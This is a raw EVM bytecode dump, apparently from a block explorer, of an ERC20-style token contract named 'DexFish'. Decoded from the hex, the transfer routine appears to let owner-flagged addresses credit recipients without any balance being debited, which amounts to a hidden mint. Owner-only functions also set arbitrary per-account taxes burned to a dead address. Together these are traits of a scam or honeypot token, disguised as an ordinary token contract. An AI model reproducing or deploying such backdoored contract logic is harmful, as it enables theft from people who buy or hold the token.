15260200190815260200160002060009054906101000a900460ff16151503610ed85782600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ec7919061218f565b925050819055506001915050610ee9565b610ee381858561140b565b60019150505b92915050565b600090565b610efc6111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8290612140565b60405180910390fd5b6000811015610fcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc6906122c7565b60405180910390fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6110a56111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611134576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112b90612140565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036111a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119a90612359565b60405180910390fd5b6111ac81611aac565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611226576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121d906123eb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611295576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128c9061247d565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113729190611eec565b60405180910390a3505050565b600061138b8484611017565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461140557818110156113f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ee906124e9565b60405180910390fd5b61140484848484036111b7565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361147a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114719061257b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e09061260d565b60405180910390fd5b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611570576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115679061269f565b60405180910390fd5b6000600190506115808585611b72565b1561158a57600090505b600081156117555760008073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116a057600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036116445760085490505b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff160361169f5760095490505b5b6000600b60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561172b57600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b61175160646117438388611c1d90919063ffffffff16565b611c3390919063ffffffff16565b9150505b60008111156118f4576117b081600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c4990919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611847816005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c5f90919063ffffffff16565b6005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118eb9190611eec565b60405180910390a35b611951818561190391906126bf565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c4990919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119f181856119a391906126bf565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c5f90919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8387611a8f91906126bf565b604051611a9c9190611eec565b60405180910390a3505050505050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c155750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b905092915050565b60008183611c2b91906126f3565b905092915050565b60008183611c419190612764565b905092915050565b60008183611c5791906126bf565b905092915050565b60008183611c6d919061218f565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611caf578082015181840152602081019050611c94565b60008484015250505050565b6000601f19601f8301169050919050565b6000611cd782611c75565b611ce18185611c80565b9350611cf1818560208601611c91565b611cfa81611cbb565b840191505092915050565b60006020820190508181036000830152611d1f8184611ccc565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611d5782611d2c565b9050919050565b611d6781611d4c565b8114611d7257600080fd5b50565b600081359050611d8481611d5e565b92915050565b6000819050919050565b611d9d81611d8a565b8114611da857600080fd5b50565b600081359050611dba81611d94565b92915050565b60008060408385031215611dd757611dd6611d27565b5b6000611de585828601611d75565b9250506020611df685828601611dab565b9150509250929050565b60008115159050919050565b611e1581611e00565b82525050565b6000602082019050611e306000830184611e0c565b92915050565b600060208284031215611e4c57611e4b611d27565b5b6000611e5a84828501611d75565b91505092915050565b6000819050919050565b6000611e88611e83611e7e84611d2c565b611e63565b611d2c565b9050919050565b6000611e9a82611e6d565b9050919050565b6000611eac82611e8f565b9050919050565b611ebc81611ea1565b82525050565b6000602082019050611ed76000830184611eb3565b92915050565b611ee681611d8a565b82525050565b6000602082019050611f016000830184611edd565b92915050565b611f1081611e00565b8114611f1b57600080fd5b50565b600081359050611f2d81611f07565b92915050565b60008060408385031215611f4a57611f49611d27565b5b6000611f5885828601611d75565b9250506020611f6985828601611f1e565b9150509250929050565b600080600060608486031215611f8c57611f8b611d27565b5b6000611f9a86828701611d75565b9350506020611fab86828701611d75565b9250506040611fbc86828701611dab565b9150509250925092565b600060ff82169050919050565b611fdc81611fc6565b82525050565b6000602082019050611ff76000830184611fd3565b92915050565b60006020828403121561201357612012611d27565b5b600061202184828501611dab565b91505092915050565b61203381611d4c565b82525050565b600060208201905061204e600083018461202a565b92915050565b6000806040838503121561206b5761206a611d27565b5b600061207985828601611d75565b925050602061208a85828601611d75565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806120db57607f821691505b6020821081036120ee576120ed612094565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865204f776e6572600082015250565b600061212a602083611c80565b9150612135826120f4565b602082019050919050565b600060208201905081810360008301526121598161211d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061219a82611d8a565b91506121a583611d8a565b92508282019050808211156121bd576121bc612160565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061221f602583611c80565b915061222a826121c3565b604082019050919050565b6000602082019050818103600083015261224e81612212565b9050919050565b7f4163636f756e7420746178206d7573742062652067726561746572207468616e60008201527f206f7220657175616c20746f2031000000000000000000000000000000000000602082015250565b60006122b1602e83611c80565b91506122bc82612255565b604082019050919050565b600060208201905081810360008301526122e0816122a4565b9050919050565b7f4f776e61626c653a206e6577204f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612343602683611c80565b915061234e826122e7565b604082019050919050565b6000602082019050818103600083015261237281612336565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006123d5602483611c80565b91506123e082612379565b604082019050919050565b60006020820190508181036000830152612404816123c8565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612467602283611c80565b91506124728261240b565b604082019050919050565b600060208201905081810360008301526124968161245a565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006124d3601d83611c80565b91506124de8261249d565b602082019050919050565b60006020820190508181036000830152612502816124c6565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612565602583611c80565b915061257082612509565b604082019050919050565b6000602082019050818103600083015261259481612558565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006125f7602383611c80565b91506126028261259b565b604082019050919050565b60006020820190508181036000830152612626816125ea565b9050919050565b7f45524332303a207472616e7366657220416d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612689602683611c80565b91506126948261262d565b604082019050919050565b600060208201905081810360008301526126b88161267c565b9050919050565b60006126ca82611d8a565b91506126d583611d8a565b92508282039050818111156126ed576126ec612160565b5b92915050565b60006126fe82611d8a565b915061270983611d8a565b925082820261271781611d8a565b9150828204841483151761272e5761272d612160565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061276f82611d8a565b915061277a83611d8a565b92508261278a57612789612735565b5b82820490509291505056fea2646970667358221220a11ee31d9aedc7971e5ae63e70d91b38b31db7f77ac4c207030579efbef6fc2e64736f6c63430008120033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000f42400000000000000000000000000000000000000000000000000000000000000007446578466973680000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000074445584649534800000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c806349bd5a5e116100c3578063a457c2d71161007c578063a457c2d7146103b4578063a9059cbb146103e4578063b4a99a4e14610414578063c4e7c16514610432578063dd62ed3e1461044e578063f2fde38b1461047e5761014d565b806349bd5a5e146102de5780635dd7c8ac146102fc5780636c9992b31461032c57806370a082311461035c578063715018a61461038c57806395d89b41146103965761014d565b80631f478f1e116101155780631f478f1e1461020c57806323b872dd146102285780632c91d07114610258578063313ce5671461027457806339509351146102925780633de94b45146102c25761014d565b806306fdde0314610152578063095ea7b3146101705780630e5133b7146101a05780631694505e146101d057806318160ddd146101ee575b600080fd5b61015a61049a565b6040516101679190611d05565b60405180910390f35b61018a60048036038101906101859190611dc0565b61052c565b6040516101979190611e1b565b60405180910390f35b6101ba60048036038101906101b59190611e36565b61054f565b6040516101c79190611e1b565b60405180910390f35b6101d861063c565b6040516101e59190611ec2565b60405180910390f35b6101f6610660565b6040516102039190611eec565b60405180910390f35b61022660048036038101906102219190611f33565b61066a565b005b610242600480360381019061023d9190611f73565b61075c565b60405161024f9190611e1b565b60405180910390f35b610272600480360381019061026d9190611e36565b61078b565b005b61027c610866565b6040516102899190611fe2565b60405180910390f35b6102ac60048036038101906102a79190611dc0565b61086f565b6040516102b99190611e1b565b60405180910390f35b6102dc60048036038101906102d79190611ffd565b610918565b005b6102e66109b9565b6040516102f39190612039565b60405180910390f35b61031660048036038101906103119190611e36565b6109df565b6040516103239190611eec565b60405180910390f35b61034660048036038101906103419190611e36565b610abf565b6040516103539190611e1b565b60405180910390f35b61037660048036038101906103719190611e36565b610bac565b6040516103839190611eec565b60405180910390f35b610394610bf5565b005b61039e610c98565b6040516103ab9190611d05565b60405180910390f35b6103ce60048036038101906103c99190611dc0565b610d2a565b6040516103db9190611e1b565b60405180910390f35b6103fe60048036038101906103f99190611dc0565b610e13565b60405161040b9190611e1b565b60405180910390f35b61041c610eef565b6040516104299190612039565b60405180910390f35b61044c60048036038101906104479190611dc0565b610ef4565b005b61046860048036038101906104639190612054565b611017565b6040516104759190611eec565b60405180910390f35b61049860048036038101906104939190611e36565b61109d565b005b6060600280546104a9906120c3565b80601f01602080910402602001604051908101604052809291908181526020018280546104d5906120c3565b80156105225780601f106104f757610100808354040283529160200191610522565b820191906000526020600020905b81548152906001019060200180831161050557829003601f168201915b5050505050905090565b6000806105376111af565b90506105448185856111b7565b600191505092915050565b60006105596111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105df90612140565b60405180910390fd5b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600154905090565b6106726111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610701576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f890612140565b60405180910390fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000806107676111af565b905061077485828561137f565b61077f85858561140b565b60019150509392505050565b6107936111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610822576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081990612140565b60405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006012905090565b60008061087a6111af565b905061090d8185856000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610908919061218f565b6111b7565b600191505092915050565b6109206111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a690612140565b60405180910390fd5b8060088190555050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006109e96111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6f90612140565b60405180910390fd5b600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000610ac96111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4f90612140565b60405180910390fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610bfd6111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8390612140565b60405180910390fd5b610c966000611aac565b565b606060038054610ca7906120c3565b80601f0160208091040260200160405190810160405280929190818152602001828054610cd3906120c3565b8015610d205780601f10610cf557610100808354040283529160200191610d20565b820191906000526020600020905b815481529060010190602001808311610d0357829003601f168201915b5050505050905090565b600080610d356111af565b905060008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083811015610dfa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df190612235565b60405180910390fd5b610e0782868684036111b7565b60019250505092915050565b600080610e1e6111af565b905060011515600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610ed85782600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ec7919061218f565b925050819055506001915050610ee9565b610ee381858561140b565b60019150505b92915050565b600090565b610efc6111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8290612140565b60405180910390fd5b6000811015610fcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc6906122c7565b60405180910390fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6110a56111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611134576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112b90612140565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036111a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119a90612359565b60405180910390fd5b6111ac81611aac565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611226576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121d906123eb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611295576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128c9061247d565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113729190611eec565b60405180910390a3505050565b600061138b8484611017565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461140557818110156113f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ee906124e9565b60405180910390fd5b61140484848484036111b7565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361147a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114719061257b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e09061260d565b60405180910390fd5b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611570576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115679061269f565b60405180910390fd5b6000600190506115808585611b72565b1561158a57600090505b600081156117555760008073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116a057600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036116445760085490505b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff160361169f5760095490505b5b6000600b60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561172b57600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b61175160646117438388611c1d90919063ffffffff16565b611c3390919063ffffffff16565b9150505b60008111156118f4576117b081600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c4990919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611847816005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c5f90919063ffffffff16565b6005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118eb9190611eec565b60405180910390a35b611951818561190391906126bf565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c4990919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119f181856119a391906126bf565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c5f90919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8387611a8f91906126bf565b604051611a9c9190611eec565b60405180910390a3505050505050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c155750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b905092915050565b60008183611c2b91906126f3565b905092915050565b60008183611c419190612764565b905092915050565b60008183611c5791906126bf565b905092915050565b60008183611c6d919061218f565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611caf578082015181840152602081019050611c94565b60008484015250505050565b6000601f19601f8301169050919050565b6000611cd782611c75565b611ce18185611c80565b9350611cf1818560208601611c91565b611cfa81611cbb565b840191505092915050565b60006020820190508181036000830152611d1f8184611ccc565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611d5782611d2c565b9050919050565b611d6781611d4c565b8114611d7257600080fd5b50565b600081359050611d8481611d5e565b92915050565b6000819050919050565b611d9d81611d8a565b8114611da857600080fd5b50565b600081359050611dba81611d94565b92915050565b60008060408385031215611dd757611dd6611d27565b5b6000611de585828601611d75565b9250506020611df685828601611dab565b9150509250929050565b60008115159050919050565b611e1581611e00565b82525050565b6000602082019050611e306000830184611e0c565b92915050565b600060208284031215611e4c57611e4b611d27565b5b6000611e5a84828501611d75565b91505092915050565b6000819050919050565b6000611e88611e83611e7e84611d2c565b611e63565b611d2c565b9050919050565b6000611e9a82611e6d565b9050919050565b6000611eac82611e8f565b9050919050565b611ebc81611ea1565b82525050565b6000602082019050611ed76000830184611eb3565b92915050565b611ee681611d8a565b82525050565b6000602082019050611f016000830184611edd565b92915050565b611f1081611e00565b8114611f1b57600080fd5b50565b600081359050611f2d81611f07565b92915050565b60008060408385031215611f4a57611f49611d27565b5b6000611f5885828601611d75565b9250506020611f6985828601611f1e565b9150509250929050565b600080600060608486031215611f8c57611f8b611d27565b5b6000611f9a86828701611d75565b9350506020611fab86828701611d75565b9250506040611fbc86828701611dab565b9150509250925092565b600060ff82169050919050565b611fdc81611fc6565b82525050565b6000602082019050611ff76000830184611fd3565b92915050565b60006020828403121561201357612012611d27565b5b600061202184828501611dab565b91505092915050565b61203381611d4c565b82525050565b600060208201905061204e600083018461202a565b92915050565b6000806040838503121561206b5761206a611d27565b5b600061207985828601611d75565b925050602061208a85828601611d75565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806120db57607f821691505b6020821081036120ee576120ed612094565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865204f776e6572600082015250565b600061212a602083611c80565b9150612135826120f4565b602082019050919050565b600060208201905081810360008301526121598161211d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061219a82611d8a565b91506121a583611d8a565b92508282019050808211156121bd576121bc612160565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061221f602583611c80565b915061222a826121c3565b604082019050919050565b6000602082019050818103600083015261224e81612212565b9050919050565b7f4163636f756e7420746178206d7573742062652067726561746572207468616e60008201527f206f7220657175616c20746f2031000000000000000000000000000000000000602082015250565b60006122b1602e83611c80565b91506122bc82612255565b604082019050919050565b600060208201905081810360008301526122e0816122a4565b9050919050565b7f4f776e61626c653a206e6577204f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612343602683611c80565b915061234e826122e7565b604082019050919050565b6000602082019050818103600083015261237281612336565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006123d5602483611c80565b91506123e082612379565b604082019050919050565b60006020820190508181036000830152612404816123c8565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612467602283611c80565b91506124728261240b565b604082019050919050565b600060208201905081810360008301526124968161245a565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006124d3601d83611c80565b91506124de8261249d565b602082019050919050565b60006020820190508181036000830152612502816124c6565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612565602583611c80565b915061257082612509565b604082019050919050565b6000602082019050818103600083015261259481612558565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006125f7602383611c80565b91506126028261259b565b604082019050919050565b60006020820190508181036000830152612626816125ea565b9050919050565b7f45524332303a207472616e7366657220416d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612689602683611c80565b91506126948261262d565b604082019050919050565b600060208201905081810360008301526126b88161267c565b9050919050565b60006126ca82611d8a565b91506126d583611d8a565b92508282039050818111156126ed576126ec612160565b5b92915050565b60006126fe82611d8a565b915061270983611d8a565b925082820261271781611d8a565b9150828204841483151761272e5761272d612160565b5b5092915050565b7f